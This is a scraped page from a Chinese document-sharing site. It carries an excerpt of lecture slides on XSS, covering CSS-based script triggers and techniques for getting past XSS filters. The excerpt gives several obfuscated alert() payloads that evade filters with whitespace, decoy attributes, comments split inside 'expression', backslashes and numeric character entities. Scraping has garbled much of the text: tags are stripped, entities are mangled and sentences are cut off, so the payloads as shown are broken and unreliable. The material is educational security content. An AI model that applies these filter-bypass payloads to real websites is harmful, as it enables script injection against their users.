web安全策略xssppt課件-閱讀頁(yè)
2025-01-26 20:13本頁(yè)面
【正文】 利用 CSS觸發(fā) ? CSS嵌入 HTML中的三種方式： 1)以 .css文件的形式 : link href=“” rel=“stylesheet” type=“text/css”/ 2)以 style/style標(biāo)簽的方式 : style type=text/javascriptalert(39。)。 a style =backgroundimage: url(javascript:alert(39。)) /a 利用 CSS觸發(fā) ? IE支持在 CSS中使用 expression，用來(lái)把 CSS和 JS結(jié)合起來(lái)，即 CSS后跟一段 JS代碼， CSS屬性的值等于 JS代碼的執(zhí)行結(jié)果 : style h1{color:CCC。} /style h1/h1 XSS挖掘技巧 ? 過(guò)濾規(guī)則： ：如： javascript等； 2.等特殊字符轉(zhuǎn)碼。如tab(amp。10)、回車符 (amp。 如： img src=“javascript:alert(?XSS?)” /，混淆后代碼為： img src=“ javascript:alert(?XSS?)” / 2. 繞過(guò) HTML標(biāo)簽內(nèi)的關(guān)鍵字過(guò)濾，在插入代碼的屬性前加入混淆屬性，如： img src=“abc” onclick=“alert(?XSS?)” / 3. 插入注釋符如 : img style=“xss:expr/*xss*/ession(alert(111))” CSS： \會(huì)被瀏覽器忽略： : img style=“backgroundimage:url(ja\vas\\\\cript:alert(111))” ，如： img src=“amp。97amp。97amp。99amp。105amp。116amp。97amp。101amp。116amp。39amp。83amp。39amp。59”等價(jià)于 img src=“javascript:alert(?xss?
試題試卷相關(guān)推薦
鄂ICP備17016276號(hào)-1